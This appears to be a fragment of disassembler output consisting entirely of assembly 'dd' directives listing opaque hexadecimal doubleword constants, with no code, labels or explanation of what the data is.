		dd 0CE78F51Eh, 0A1632B00h, 5F11Eh, 15466BC4h, 4D274071h
		dd 44693516h, 0F8246020h, 0B0CB8C4h, 0C822D87h,	0E026D891h
		dd 0E81232BEh, 540BB72Bh, 54448A50h, 10C900Fh, 1DF9B1A7h
		dd 813C8142h, 1E4C076Ch, 83F444F0h, 0A107FABBh,	14DE4921h
		dd 203B55D0h, 0CE7071h,	7F243F8h, 802F464Fh, 422E1800h
		dd 5D416E9Eh, 0D46B1DECh, 0C0C61E5Ch, 0AEEF4ABDh, 5B014C45h
		dd 3B9CE9E5h, 21804D32h, 391A1675h, 0E80036FEh,	4C840D4Fh
		dd 379E5E6h, 7FBC68EBh
		dd 59114BC9h, 287141C1h, 743860A4h, 478888AFh, 11538130h
		dd 366EFh, 0E254713Fh, 7FF0A5C2h, 2042C830h, 0BC5BFDh
		dd 845EEF41h, 7C8277B2h, 0CFCDBF07h, 9F60E3A4h,	1076F93h
		dd 54ECBCA3h, 60F256FCh, 6A24BBF1h, 3C06D5B3h, 75714CE0h
		dd 9689C01Ah, 0CBD0C056h, 0A99E3D00h, 0F6520F5h, 5A4E0006h
		dd 18B4732Ah, 0DDB0BDA6h, 0C8BB2300h, 0CF1E9A2Ch, 5854016Ah
		dd 0D2449F67h, 0C1AC4882h, 0F50394EEh, 0D73D799Ch, 832AE19Bh
		dd 208355DDh, 0EBDB1966h, 484E8007h, 2220DCCFh,	51479h
		dd 0B59B532Dh, 4E8A862Ch, 766082Ch, 5D301D19h, 380BEC0h
		dd 13FA6B2Fh, 781829D1h, 0A7215524h, 0E170B5CEh, 0D9928000h
		dd 9FE278B7h, 8E9C0B28h, 798C47BCh, 9A0A2FC8h, 0B4C4D14Ah
		dd 0BF893087h, 0C2548AC0h, 4C51C323h, 40ADD66Bh, 4495BB98h
		dd 78A8BC5Ch, 0C002AA5h, 0FB866281h, 0F34296h, 1D22D0B2h
		dd 8C66AD28h, 0BBC8BA01h, 19AFB18Ah, 0CB4030E3h, 2D484A79h
		dd 1E139103h, 0C826B5B1h, 720FF06Ch, 79DC06BCh,	912025D9h
		dd 0EB9F3Bh, 8B7E46C1h,	53BAC9h, 0A909AEC7h, 2E66D50h
		dd 0E0BCEC00h, 2ACE9B66h, 0D70E0085h, 877358E1h, 2C01727Ch
		dd 673A1565h, 0BC70AEE7h, 7D47184Dh, 0CAB91940h, 0D9536100h
		dd 12E7702Fh, 0EF96392Dh, 6E9CC300h, 1804F950h,	0F7FE2900h
		dd 4DE73B92h, 1865F03Ah, 49211666h, 0EF06FE11h,	14E31A2Ah
		dd 1C9B020h, 4A5CB050h,	0D31F7362h, 0E903397Ah,	2D6D9142h
		dd 8994B01Eh, 711F3772h, 5DBAB021h, 95E612F6h, 5944D601h
		dd 4BC1D7Bh, 2893AC00h,	0D56A78C0h, 3F8D0FBDh, 0D69C80B7h
		dd 0A5B040FBh, 97557E1Fh, 9110BC30h, 0DF9BCE7Ah, 0B9A21B39h
		dd 62F1EDE0h, 11711937h, 43FDD600h, 6E3900B1h, 0DDD5E06Dh
		dd 67585694h, 911A0196h, 78B088D1h, 0AA3B2E4h, 852301E2h
		dd 0D2FB0FC0h, 614F7206h, 0D6C10A01h, 8EE8BB39h, 7631C8h
		dd 1A2F191h, 5D07BCE5h,	81CFA001h, 3E176588h, 7C1A398Ch
		dd 0AA777891h, 25CFA300h, 21A461BDh, 7A140A89h,	8CF012F9h
		dd 5739177Dh, 34B02900h, 75889048h, 0A6DD01D3h,	614B97FBh
		dd 449D606Dh, 7860BFEEh, 79938561h, 0A9290C3h, 10623BC1h
		dd 46749DC4h, 11641C4Eh, 824DCF00h, 0AF3E02E2h,	7851D17h
		dd 95F640E1h, 67908101h, 600A789Dh, 9153039h, 686F9F04h
		dd 1C20B240h, 0FD9A71Dh, 208C417Bh, 2B645E81h, 50B9F5EAh
		dd 633C3AD0h, 660D1891h, 8C02E9BBh, 284207Bh, 0DF0093A7h
		dd 4C1D04Dh, 38073DF3h,	0AD861D50h, 519EABE9h, 2314FA16h
		dd 0EDD20907h, 0DE0410C9h, 0F62D01C9h, 0EE1DAC03h, 7B88826Ch
		dd 7D8388C3h, 40E4D641h, 22679444h, 2FC9950Eh, 37AB2682h
		dd 0DABF00E9h, 4FCB268Ah, 216E3F3h, 8D073BBDh, 71800CFDh
		dd 7708BFEh, 9B1AA1FCh,	0C97A0692h, 5045F101h, 0D1BF3E8h
		dd 32F360h, 0D60C385Ch,	7D22E9E1h, 868DD703h, 0C8651373h
		dd 0A83D7274h, 39689388h, 7E00B638h, 3BDACA9Bh,	0DF3EE385h
		dd 0EFC203D2h, 0D9DD73D4h, 0C9804963h, 31D0FC75h, 23607250h
		dd 0AC27F749h, 4B5B0703h, 8981C708h, 0C311C805h, 75839A3Bh
		dd 4DC8B100h, 4EEC952Fh, 7B020069h, 0F4624406h,	7E00F9E3h
		dd 437FAACh, 2899DD2Ah,	0F1C7419h, 9218DCF6h, 0FB80ED29h
		dd 0B1988016h, 36AE4A30h, 197E573h, 0F0BB6019h,	0DDCF77EDh
		dd 5418E79h, 0D966843Bh, 0D69B9680h, 0B78C040Bh, 8CB865B0h
		dd 4286E71Ch, 2230481Ch, 0D7380064h, 0EB7ACDF1h, 310F2008h
		dd 35922E7h, 22F5A1EFh,	89142550h, 0A8824E9h, 0F82AAB8Eh
		dd 2FD4A480h, 0F4491Ch,	0EEBE9359h, 0A8821DE2h,	0D303D00h
		dd 0F88DA286h, 8049D410h, 7E7D4B22h, 71A7AA03h,	0B80BFCEAh
		dd 4CDBBEDEh, 642824EFh, 0F7624418h, 0D748B20Eh, 0C0792FAAh
		dd 0E5BFEBE8h, 0DCF402A7h, 146F856Ch, 0F922D064h, 1375004Ah
		dd 0E552D6FFh, 0B209F682h, 18B8E99h, 0E1B8EA24h, 0F1107082h
		dd 606820C3h, 6201FC0Fh, 7426D397h, 3430E793h, 32448469h
		dd 982101F4h, 0DD5B193Bh, 0A046A037h, 1DE6A600h, 7DAEE2F7h
		dd 770B7B23h, 0CBD0ABC8h, 0B5413931h, 0A8B6D00h, 0C5E432E8h
		dd 1803C300h, 872726B2h, 7085007Dh, 52C70FBAh, 0CB1C9E6Fh
		dd 7E1099FBh, 5E382900h, 0B7D4516Eh, 340AE606h,	1DE8FF3Ch
		dd 981CD5Bh, 0E004964Fh, 0B966434Ch, 2C816526h,	120C0410h
		dd 761A4634h, 71C60061h, 0D13FE14Bh, 7F001277h,	5167E0FDh
		dd 27FBEEh, 0BAA73C2Ch,	19094C8Bh, 0F30F7CB1h, 70A283BDh
		dd 0FE80FCC4h, 97A7D7Ch, 196715EAh, 23F1EC90h, 0DF989903h
		dd 89817703h, 627270h, 609A3200h, 0C2D352B5h, 0B444C300h
		dd 0EF2AF7AFh, 66E50574h, 439EC77Dh, 47EBFCACh,	9F437A5h
		dd 0CE2F090h, 0D0D7E700h, 321F0E23h, 28BF98FAh,	0E94778Ah
		dd 3B7261E5h, 0AC51F27Fh, 0E3006C64h, 0F2BC0598h, 0A42557h
		dd 43D4D632h, 0F502A084h, 40992932h, 416E047Dh,	1E07BA78h
		dd 0E14C91D7h, 1C898C40h, 0BCB8A848h, 61DB005Bh, 1AF00CC9h
		dd 361DE1F9h, 8A80D6C4h, 62653992h, 0A55500C5h,	0E5494C48h
		dd 0C7377288h, 10699902h, 1CEEB744h, 0E733Dh, 2FCDABBDh
		dd 7D006274h, 23BAAFFDh, 412DC78h, 6F9084F4h, 0DB688102h
		dd 2025123Fh, 69335BE7h, 0C485F72Ch, 0A2002611h, 4B253C12h
		dd 0F0EF2A9Fh, 0E0C37423h, 0DC1E6606h, 641A4892h, 1C7D7190h
		dd 404B73C0h, 0F6DFFEDh, 943AF11Dh, 80A5828Ch, 0A1836F93h
		dd 1567A290h, 9FFA7200h, 40209491h, 0D15EDF03h,	0D112CEC4h
		dd 0C8962A13h, 0C8B4047Bh, 9497430Fh, 6448A470h, 667B6980h
		dd 4C9B8h, 3C80C5F9h, 0FF19958Dh, 261BA316h, 217AE10Fh
		dd 79BFBC93h, 0AEF19474h, 81050B44h, 7E05452Ch,	88F48595h
		dd 321E2D78h, 702CDB48h, 0D16D1B80h, 0C4F97D71h, 92C01589h
		dd 1A078A34h, 5C7D183Ch, 0AC184CFCh, 58062934h,	9A5C5Ch
		dd 0B73C8963h, 7EFB0D5Dh, 169604AFh, 861EA8DBh,	3A00A1A8h
		dd 36A49C47h, 5850AFDh,	7C975673h, 0E6A80527h, 0EB902007h
		dd 0E53D78A2h, 96BC9CA8h, 9813E78Ah, 98004791h,	20F28D9Fh
		dd 0E0506EBAh, 64449CD0h, 0AC991Ch, 77255D85h, 0A900C236h
		dd 86607BD5h, 14A05ABh,	31D2E582h, 0E726613Ch, 0E0AC3039h
		dd 2D324F89h, 815C3F42h, 75D81401h, 0E0DD4B7Bh,	78C8D42Bh
		dd 560119Dh, 398FFE3Ch,	843384C8h, 3D7744h, 0C4995809h
		dd 0AEC919C8h, 591CE716h, 0B442531Dh, 0C47D09D8h, 4630EF4h
		dd 49A7F545h, 88A27580h, 40917A3Ch, 0AF829A80h,	0C832A84h
		dd 0D5ECA6E4h, 4E53130Eh, 69860398h, 26F19694h,	2924F630h
		dd 85E50018h, 52A0D8E7h, 0C417662Ch, 60918B44h,	4024E914h
		dd 0C8A850E4h, 40D1D4AFh, 6D04F16Fh, 6C68C286h,	9785C50h
		dd 8561E409h, 59E406ECh, 979A1929h, 201C50EDh, 189A9967h
		dd 90722A45h, 0EBE5007Bh, 880D5A8Ah, 3517AAFBh,	5430E955h
		dd 98CA94DEh, 87F63EA0h, 0F87FC800h, 0D86DB3CCh, 16293E00h
		dd 1B6EE3A8h, 8050B99Ch, 6B270DCh, 9E1C59E7h, 0A4C003AAh
		dd 1165883Bh, 0FCA88B21h, 8C486607h, 4B022250h,	5F18407Dh
		dd 17C47E76h, 0F6575900h, 0BCCB367h, 0DD4150E4h, 33D7760h
		dd 7384D713h, 0EEA8889Ah, 41CCA893h, 1BB1829h, 9713E9ADh
		dd 116B2A5h, 4237B85h, 0C9F4C807h, 53DB42EDh, 0BBAFBCE0h
		dd 0E34F9309h, 9AB068ABh
		dd 6D7400E0h, 67029730h, 48F2F93Dh, 1041EC0Fh, 9C297F24h
		dd 20701C09h, 764EB60Ch, 41960002h, 0DA646AD7h,	7B2412FEh
		dd 85603813h, 1DAC69CEh, 6EE5710Eh, 0C42428F1h,	8C8F53EAh
		dd 571BFF34h, 0C2282D0Eh, 0DD0E08Dh, 401D8964h,	3E43BA3Ch
		dd 8780603Fh, 4CE83877h, 0A7662F40h, 908A3CD7h,	0F1844100h
		dd 4A5DCAA0h, 10489C4Ch, 7C4C3A1Dh, 5E2049C1h, 0A2F640F6h
		dd 0C0006A23h, 80F3B899h, 1FEFBC8Dh, 0FF658AB3h, 13C8285Ch
		dd 0C0747D94h, 55452D73h, 9D4B075h, 0A393FF51h,	81DD891h
		dd 0BEE800ACh, 0E0E6FE17h, 0A70F7498h, 2092F675h, 0E4DEF1F2h
		dd 0A240F088h, 70A482FCh, 0C2F8802Bh, 5C09FA3Bh, 31886805h
		dd 0C05D7944h, 64EC21Eh, 93016CC9h, 9C0F14CFh, 5C433E1Ch
		dd 12ED99DFh, 44DC11A8h, 0E5773C27h, 6837F9h, 8A4B0D28h
		dd 1F41C50Ch, 80975D09h, 1ABCCFF0h, 19306E30h, 6510814Ah
		dd 4C41EBB9h, 0AB0114E0h, 54BEE4D3h, 10F88E12h,	0CD7A8091h
		dd 62240432h, 0E33F0750h, 80742549h, 96ACEC1Ch,	1E842840h
		dd 80D94B2Bh, 0C7DEB011h, 997D74B7h, 2AAB4000h,	0C1F0A1A3h
		dd 42972CE4h, 2BEA6038h, 4C0F8235h, 0BA84F1h, 0D41E09C8h
		dd 41240578h, 830E287Ah, 7B4C5F4h, 7920E489h, 12D7F9CDh
		dd 90E63B9Ah, 0FA179424h, 5FEEB00h, 44218482h, 0DD60303Ch
		dd 819A75C9h, 0AF18312h, 1C885090h, 0F28B8846h,	8491ED0Bh
		dd 0E4540A5Dh, 971482BCh, 731545BCh, 0FA16A4h, 4F572DBCh
		dd 7904E873h, 701C10C1h, 42CD895Eh, 28976102h, 0A10DD3E0h
		dd 0C3CBBD04h, 0B8F41C3Ch, 85C200EEh, 7DCFA2A4h, 88014D87h
		dd 0D8DE65Fh, 6C22F83Ch, 0F2783Fh, 8C6715EDh, 7FD093B3h
		dd 0C856030Ch, 940D88Ah, 9A552E82h, 5DAB4482h, 0C6C008CBh
		dd 0E632804Bh, 0A1772886h, 0E21A0484h, 0C00424h, 0E10D2A2Ch
		dd 1D8C619Bh, 6880DC94h, 5274B8D5h, 37620173h, 8766E575h
		dd 7A14D0F1h, 5891F226h, 0CC1B5E4Eh, 0F892C539h, 87A08551h
		dd 327AD44Fh, 199AF420h, 0B2ACA87Fh, 59A900A2h,	4356ED1Fh
		dd 13132E3Dh, 6CD1840Eh, 821429F1h, 4611767Ch, 98782110h
		dd 0E571123Fh, 6C83C478h, 0E97900D7h, 9FBFA274h, 50B0910Bh
		dd 8154E054h, 0E02E1C24h, 2A288542h, 68912520h,	9E3081Eh
		dd 0A296ABE2h, 0C8C0A412h, 0EC09E113h, 1263DF73h, 7D3C83A4h
		dd 0B8390924h, 8155AA6Fh, 1AA19C11h, 2F00142Dh,	4D2D5A69h
		dd 0C00010E4h, 16EBD50Bh, 13738Ah, 429385E3h, 3D38AED3h
		dd 0DBB78917h, 82F6F841h, 883C8481h, 790E0780h,	0BC03EE20h
		dd 9512F71Fh, 0A130F84Ah, 387802DAh, 3950E7B7h,	0ACBB40A0h
		dd 0A1FE4CA0h, 703DCAE6h, 13D80279h, 0AF3CD9ABh, 33FC0D8h
		dd 9EB069BDh, 0BF8280A8h, 0E5742AD6h, 4E003AECh, 0CAE92097h
		dd 1838904h, 0AEFA78BEh, 0E118B192h, 80643873h,	0D2DA0EB7h
		dd 788B00A6h, 4F0FDCB3h, 0FA00AA9Fh, 1BF074Ch, 113B6795h
		dd 90AB85h, 0DACCC94Fh,	5A8941Bh, 9178A0E9h, 4358D28Ch
		dd 95363C40h, 8BA46100h, 3BD09A13h, 6ABB01A0h, 3F5E8D84h
		dd 74CC1465h, 3C62021Fh, 0E3100B85h, 1B003851h,	0DA751253h
		dd 81B70746h, 0E0BF6141h, 0F7196647h, 0E440795Ah, 6D99FA67h
		dd 40E3E0E5h, 5F0E0814h, 0A986C13Dh, 39C0907Dh,	0FC3800F2h
		dd 0BD117117h, 90988EECh, 0D203C098h, 0F97BBCAAh, 0BCF140E5h
		dd 3C37F605h, 10A86CB0h, 31A90060h, 2BA899F0h, 0A53F93E5h
		dd 0AB91E49Eh, 0C628A4h, 0FB4389F6h, 0CB0DBFFFh, 63AD9201h
		dd 739A14ACh, 0DF544C50h, 0AFB001A2h, 59EDE338h, 0AEEC70E0h
		dd 0AAE4E216h, 4806D808h, 0EF040030h, 0B10DDE2Eh, 3D1B071Fh
		dd 993810EFh, 2E512E84h, 405300BEh, 4D1996D0h, 204EC0AAh
		dd 95430478h, 7D38973Bh, 0D4800BA5h, 8396F805h,	474CAE14h
		dd 71F507ECh, 93A049FDh, 8978D1h, 0B329EA73h, 2B26777h
		dd 0ED0010BCh, 1C8C0974h, 0AA61C07Fh, 3BB4A905h, 0E4E5D9F3h
		dd 270BE736h, 8D4AFCh, 7AE893ECh, 585A4CF9h, 0B78074C8h
		dd 47D0B5Dh, 0DDC31618h, 0BE5A072Bh, 0A64A8070h, 74B6A881h
		dd 0B9364080h, 0C1578AECh, 0D964CA8h, 3DE0824Fh, 6634B866h
		dd 0AC11F138h, 0BD418790h, 6A82C140h, 0F163E0E3h, 0F53424D9h
		dd 2CF8176Bh, 0E700560Ch, 8F2F4007h, 0DF36C5h, 418306C8h
		dd 1178F86Ch, 92CAD214h, 0C0584C8Ch, 0CD906263h, 0F6990049h
		dd 11A6773Eh, 8F4DAC4Bh, 0E97267Ch, 1B5CA92Dh, 4E84A038h
		dd 9E2800EBh, 0DCF14893h, 1800ACF0h, 1D6AAA0Eh,	5373E96Dh
		dd 0F500A0CCh, 0AAE81EFDh, 0F67A21D4h, 7267C400h, 0A3F9FC6Bh
		dd 38AB308Dh, 9B3D9561h, 9705D174h, 19EB753Bh, 330088h
		dd 28B68C6Fh, 3231F56Dh, 0F1005AE8h, 5489DE52h,	28B1092Ch
		dd 5BC8267h, 0E9747BC1h, 1464E419h, 21182600h, 2E55A8E1h
		dd 0B2B7D0Dh, 6381C501h, 0EC0030E4h, 25D19A4Fh,	289620Ah
		dd 10D41184h, 0C0585B12h, 0BE974017h, 7C842C90h, 1FE6ECC4h
		dd 0C2162EFh, 97D157C8h, 1CB1BB7Ch, 81D3F100h, 9E720BD5h
		dd 36A9D88h, 0DCA7B608h, 15241EC9h, 0A6161008h,	0E8817C4h
		dd 1D044688h, 0ADC0C270h, 8CC1F4E2h, 1666114Ch,	6288BC68h
		dd 21B32743h, 12084828h, 70E0B022h, 5E0BC6CFh, 172B78Dh
		dd 23D29744h, 323B1A30h, 0AD3960E7h, 6A0E0464h,	20A51F21h
		dd 0E7F256B0h, 2A8A3059h, 999D36E4h, 0C77BB712h, 4C192C88h
		dd 4988C40Ch, 6D85D280h, 44A695h, 0BBED1E7Bh, 0F356B950h
		dd 0D40C1502h, 797D66E0h, 77626194h, 571B3043h,	10E5FA01h
		dd 0BAB96667h, 47A2029h, 0D23BC15Bh, 0ADB8C0B1h, 0F9F0DD71h
		dd 0AC130C99h, 95694820h, 96090037h, 9A2708C6h,	810576C7h
		dd 5EFE5B4Eh, 7CD6B801h, 1431D0FCh, 7BE14031h, 58AA9458h
		dd 7019440h, 7281B920h,	2D9C22FFh, 1438A07Dh, 0A66311h
		dd 0F2D93D2Eh, 4813552Ah, 92539409h, 28286871h,	0A4DE00DFh
		dd 80EDDD0Fh, 0BC004840h, 504A5DCDh, 441C84BAh,	134E6604h
		dd 7A2A7C41h, 303C9BFAh, 2B46E483h, 0BDA984D8h,	6C20894Ah
		dd 0B8D8737h, 365FBCA6h, 90A76C80h, 0DB5CF116h,	0CC702E34h
		dd 7A1910B2h, 9A3E0084h, 68B73B1Ch, 0CA00A869h,	0C360C264h
		dd 3B59C136h, 101713C9h, 0EBE4888Ch, 3668C000h,	0EF3C1279h
		dd 16890369h, 991C5CECh, 5F32C3E0h, 5E07C8A6h, 9BB0AE12h
		dd 0C42F48B0h, 87609419h, 218EEB40h, 27A8A709h,	13B8236Ch
		dd 0A198D475h, 1D3423E4h, 1A4C58E2h, 798BE86Bh,	0D87D486Ch
		dd 2264BF1Dh, 720DFC96h, 0E0F261F1h, 0E13E7C1Ah, 22084CCh
		dd 0D7876766h, 9090BA97h, 31C07E1Ch, 0D046A6AAh, 0BF211C71h
		dd 1591403Fh, 0A85D923Eh, 3460192Ch, 66E02FC7h,	0B0F145h
		dd 8C01D9C7h, 0D8A4E37Fh, 373E7706h, 8939ADh, 511CA1C0h
		dd 0ABE349B6h, 180D096h, 0C4BADAECh, 0E8120F69h, 47821064h
		dd 0F061AF72h, 0BA41830Dh, 80E643CAh, 980E6Eh, 2357562Eh
		dd 0ABD48E31h, 0D7639A05h, 0F1C166CEh, 402A7D4Dh, 7A0D9584h
		dd 401C75FBh, 0CECF8226h, 3051AB1Eh, 90689E14h,	1A3500BDh
		dd 7D6EC9E6h, 0F200D4B9h, 92C1A10Ah, 7B51FE66h,	0C6E41BE5h
		dd 40E4C9E2h, 630201D4h, 87B60032h, 51542709h, 0BEE561h
		dd 852D640h, 0F0CA1FDFh, 58A02FD1h, 79DE6439h, 76EACF00h
		dd 773EDF5h, 46FA4B3Ch,	0D0787CB0h, 15E97D1Ch, 8C76F180h
		dd 4ADEF984h, 0EC088810h
		dd 0E10A2400h, 0FF75070h, 1ADD00E5h, 7ABF32C4h,	0FB0EABAFh
		dd 49658510h, 809C5B4Fh, 0BC5B7334h, 4E00C2A0h,	2E086362h
		dd 30DDAB6Bh, 29310465h, 7005938Fh, 9C1BD8F1h, 27005CF2h
		dd 20A0BDCAh, 0A1276D0h, 40007567h, 419071CEh, 0D1BE187Ah
		dd 26108081h, 3DA288h, 6F590C75h, 84FE132Ah, 63903995h
		dd 0CB38A310h, 88D2DA00h, 2E1DCEACh, 30F51F3Ch,	5733008Bh
		dd 14E965DFh, 43085C8Ah, 0E19827A2h, 9107AA3Dh,	0E0FDF660h
		dd 708B43D2h, 6290BE4Ch, 0A85A1F66h, 29128258h,	8F85E477h
		dd 0B0815BDAh, 0B200E51Eh, 31C0247Ch, 1BBB6BA3h, 45B7CD5h
		dd 85E7E39Fh, 211884E5h, 3CBB66E8h, 972DA0C4h, 2FC00002h
		dd 0C10FE317h, 195B72ECh, 61E47C71h, 255BC428h,	0FC7830F4h
		dd 0D81D9DEFh, 0D40B04Eh, 536E4276h, 0B8850235h, 19125517h
		dd 6F2C6072h, 0D43B1004h, 6C7866C8h, 6822E04Eh,	820016A8h
		dd 19443289h, 40E6AC83h, 784014ABh, 193287Ah, 6040444Ch
		dd 691A2B00h, 8381D2F5h, 0F1CE0084h, 0CD112E2Ah, 0A200A128h
		dd 0E96C6239h, 80F76F94h, 0A4B33CD2h, 9A1B2580h, 6247E31Dh
		dd 66D0C975h, 509304F0h, 36CB0C00h, 0E46206E4h,	7C260021h
		dd 0A25E7803h, 962CBF45h, 0EF008073h, 613BBA65h, 540795E3h
		dd 45BF707Ch, 23132B63h, 0AC00D410h, 94089383h,	1CA84CFFh
		dd 2B7DE480h, 0FE009218h, 0A9A0FABAh, 0F8D1D4B2h, 0B4B8077Eh
		dd 7C738CEDh, 77003AC9h, 0DA7F456h, 0BDC75Ch, 930F1721h
		dd 893E53E6h, 181088BEh, 909DB51Bh, 0D8F1E82Ah,	5F761F40h
		dd 72F0483Fh, 0F0524A44h, 0F9019CDAh, 0AFBFC337h, 286C890Dh
		dd 0DC63AD80h, 5A006756h, 0F2CAE853h, 13A8090Ch, 30EFCE13h
		dd 0AA59D78Ch, 0C6F74100h, 3831D88Bh, 0E2FE029Ah, 33EE9B56h
		dd 0A4C0C9C2h, 64488C02h, 0FF505088h, 30A4A9C5h, 1EAC4E4h
		dd 777EA226h, 0EF1FBA74h, 205111EAh, 88936111h,	7A4DA094h
		dd 0F9CBC004h, 14B6EA5h, 83EF49FDh, 0E8B38A92h,	784ADFF1h
		dd 685C2097h, 166511EDh, 0B02A2821h, 0A870A26Fh, 95AC0939h
		dd 6F6214A0h, 1A4CB754h, 83AB0287h, 0F9EEDD6Bh,	58BD14FCh
		dd 8894E725h, 2AD59500h, 0C98DDBBCh, 2AFE4877h,	30643838h
		dd 2E9B2271h, 4CBCAE20h, 1095518Dh, 8004C110h, 0EB049775h
		dd 1113270Ch, 0E0240082h, 4150F9D4h, 10D84022h,	964C9774h
		dd 467A8B50h, 402B4C20h, 149B74C9h, 5847DBB8h, 82121400h
		dd 5D23C9C0h, 9BB5A2Eh,	0D4844E18h, 883F30B9h, 0E1453EBDh
		dd 0C1811737h, 74738A79h, 0DF328DDCh, 213880F8h, 7C8766EAh
		dd 708516ECh, 6BA174C0h, 0A8842C6Ch, 40DF4EF0h,	503B78FAh
		dd 0EC005B3Dh, 46B8C18Bh, 6AF96BDh, 4B8272CEh, 930A40CDh
		dd 0C812A16Fh, 52DE511h, 0FF3C1C82h, 14103059h,	6141FCC8h
		dd 76EE03BAh, 0D5A94004h, 23092EEEh, 0A27C8A80h, 867A930Ch
		dd 5839C9C8h, 0FA10147Dh, 21BA844Dh, 0F2B01645h, 86251690h
		dd 38999A01h, 90EF1492h, 4CE5D02h, 0DBE2EA6Eh, 8814F087h
		dd 0FB8AFF02h, 0E0293DA1h, 0A4E672F0h, 849880A0h, 0A197174Fh
		dd 9C80887Eh, 0AA2569DFh, 0C43C9020h, 0A9BD00FFh, 1981AEA5h
		dd 0F4027B71h, 50D9B326h, 2F345404h, 0DBF95093h, 2494DC91h
		dd 0A41B5904h, 94F32F93h, 1DA14200h, 0B87406ECh, 5872AE00h
		dd 0E5F9E982h, 66640904h, 402088B9h, 0ACBEFE2Ah, 47763B02h
		dd 8349BC97h, 0A40BFA5Ch, 18018E9h, 0FC6092D5h,	410F901h
		dd 550B1AC4h, 0D74490DBh, 2069250Dh, 4B00C8C4h,	34EA7912h
		dd 50B396FEh, 9566A4ADh, 397D1403h, 783D2958h, 772D5800h
		dd 7A336C8Eh, 209D4B94h, 0E4A2F634h, 937D7009h,	6D682095h
		dd 1E9BAF97h, 4CE34031h, 1A51491Dh, 7004A09Fh, 906854A6h
		dd 45F498h, 0FAD9C52Eh,	13D6217Eh, 61581406h, 4240B58Ch
		dd 37F223Bh, 0CDFFB004h, 75D098EAh, 78D54908h, 31FC9DD4h
		dd 0DBB33167h, 9E124F3h, 0ADE609E2h, 0A0976C21h, 0B4702A75h
		dd 83769Dh, 25325AA3h, 3551F2C2h, 137CF902h, 9E18EEAh
		dd 5029D484h, 0F47F2CD4h, 1D36750h, 36E57E3Eh, 28C1E4B0h
		dd 66480F7Ch, 81E8788Ch, 9A3D04FCh, 0C0FB0AA8h,	1D743FBCh
		dd 0FC756338h, 0EA407494h, 0AE70F6h, 6931FAF9h,	837971A8h
		dd 8439E475h, 0EA730245h, 0E617603Bh, 80A08594h, 17E978CCh
		dd 352C2DC8h, 121206DEh, 177EACA2h, 0C85906F1h,	0C2019064h
		dd 66D68047h, 0B370A71Bh, 4B8D7D5Dh, 189C8A12h,	48C0A547h
		dd 0FA2F073Bh, 0F067B091h, 6436C033h, 1CA14B00h, 4A757D8Bh
		dd 558301E6h, 0AB849FF1h, 9778647Ch, 0D84CBF24h, 7C890E64h
		dd 24BF6800h, 0E3B60EE4h, 0F2408786h, 0B18B0423h, 0DE4AB778h
		dd 430B88Dh, 743B07D3h,	4333A19Ah, 83DCF435h, 51095306h
		dd 0C54DE43Ch, 0A20502B0h, 8856208h, 318C3089h,	0B00A40Ch
		dd 0ABA66830h, 9022FB72h, 389F4594h, 0D5A78AFCh, 8E6BE002h
		dd 98244C73h, 38125414h, 0B8F90184h, 9C1B6167h,	0BB20884Ch
		dd 20019332h, 0C99E4A3Ch, 93192E0Eh, 32B2A322h,	708E8816h
		dd 0F48B4CCCh, 529A6C00h, 623BE574h, 1D381095h,	0CBEC0053h
		dd 7385395Bh, 664C14BBh, 69563044h, 9993A216h, 0E7381210h
		dd 0DF0B00F8h, 2EE5ED5h, 697032Fh, 4C7CB232h, 211A2125h
		dd 9448E424h, 8FC670h, 75E77AA5h, 0DB04E0EAh, 2AD14205h
		dd 9C1E62FAh, 23F2F88h,	7869BF09h, 11936CE9h, 4040B866h
		dd 5AF0E589h, 9AC98DDh,	0A38D3F0h, 90DC9405h, 50B9111Ch
		dd 70A5160Ah, 113DBA64h, 14602280h, 0D5712D0Ch,	0BF9A3400h
		dd 19094712h, 0A04F8B58h, 5C5DC0C8h, 0F18B18EAh, 0A8088059h
		dd 28F0A464h, 802C9100h, 0B44FBC3Dh, 2F3B9621h,	825782B5h
		dd 82F7AC34h, 277CBD20h, 7C856B85h, 0EB7041E6h,	944EFC3Bh
		dd 9FCCAC11h, 8912560Ah, 91CF9709h, 402BAB84h, 0EB998EC8h
		dd 0B090BF0Dh, 0AC8A0600h, 0E01E0BCCh, 1F200111h, 969E197h
		dd 18206E67h, 5CB42343h, 70015CA9h, 34D0C861h, 1D91ACDCh
		dd 0ACADB90Ah, 96E67A41h, 0E0A16441h, 0DFFF9048h, 0E33B0351h
		dd 26D0F9EDh, 0C4B1A885h, 40EA3600h, 0C46366h, 8E6DF850h
		dd 0BF3B7784h, 0ED0B4C99h, 1B50190Ch, 9E6CFCh, 0B7B9B164h
		dd 920DFCE7h, 80E8194Ch, 30A5ADDh, 6626016Eh, 0DB86D74Bh
		dd 9D43989h, 82960DFDh,	52389ED8h, 0C8B94B18h, 0F88B7FBCh
		dd 68DE14h, 8BB7A8B0h, 37D3DBB9h, 29E55F04h, 4AC5C12h
		dd 0D2147E80h, 1802CDAAh, 728937ABh, 1E48EC93h,	3CA2B885h
		dd 1F809A6h, 37E57317h,	0B871A3h, 0A6E48924h, 0D84B4701h
		dd 0D13E562h, 0B7A4202Fh, 0F65C8AF0h, 503E00C4h, 0D0E8548Eh
		dd 5FAD1DD2h, 0E6EB4FE0h, 0FA3C3982h, 759F90D4h, 21A809C1h
		dd 186188E7h, 27E9B018h, 48919A0Ch, 722370B7h, 6B67F302h
		dd 7C2AAC5Eh, 51C2494h,	88AB8521h, 0B8008A80h, 270E354Fh
		dd 732E91Eh, 0EABEED95h, 0F78C2010h, 692C17A8h,	0BC2078CDh
		dd 1BFF3B1Ah, 547999h, 71C2EB19h, 1F0030DFh, 0D8F30394h
		dd 2634931h, 3D66E8F4h,	87126BEh, 7A12FC03h, 0FB5EA077h
		dd 61080096h, 0F5CDD95Dh, 191360D7h, 0A4A713AAh, 0F05C7E00h
		dd 28DAD4A1h, 0BD07C57Dh, 2A7A69A7h, 44A5CB24h,	0F280A07Ch
		dd 4A99EBC3h, 0CE4F3300h, 5CCB7B80h, 162CA822h,	25B80355h
		dd 0FA4C6F78h, 430E3D98h, 0CCBAED2Ch, 78D63Fh, 0D7BB505Dh
		dd 0BAD605h, 5136F099h
		dd 59B5AF25h, 0A19F4E01h, 0E307E1E5h, 0CE073C63h, 60168A8Eh
		dd 81F0394Bh, 0F828BD28h, 4820385Ah, 0D68BD5h, 34962045h
		dd 36D3B6DEh, 0A56FFD04h, 54222A2h, 60E0427Eh, 898210A7h
		dd 0E01C10CCh, 0FCBE00F3h, 4B98D40Bh, 6300B122h, 84D403Ah
		dd 97DD5Ah, 0EAFC7627h,	96E515CFh, 83266BE8h, 74204034h
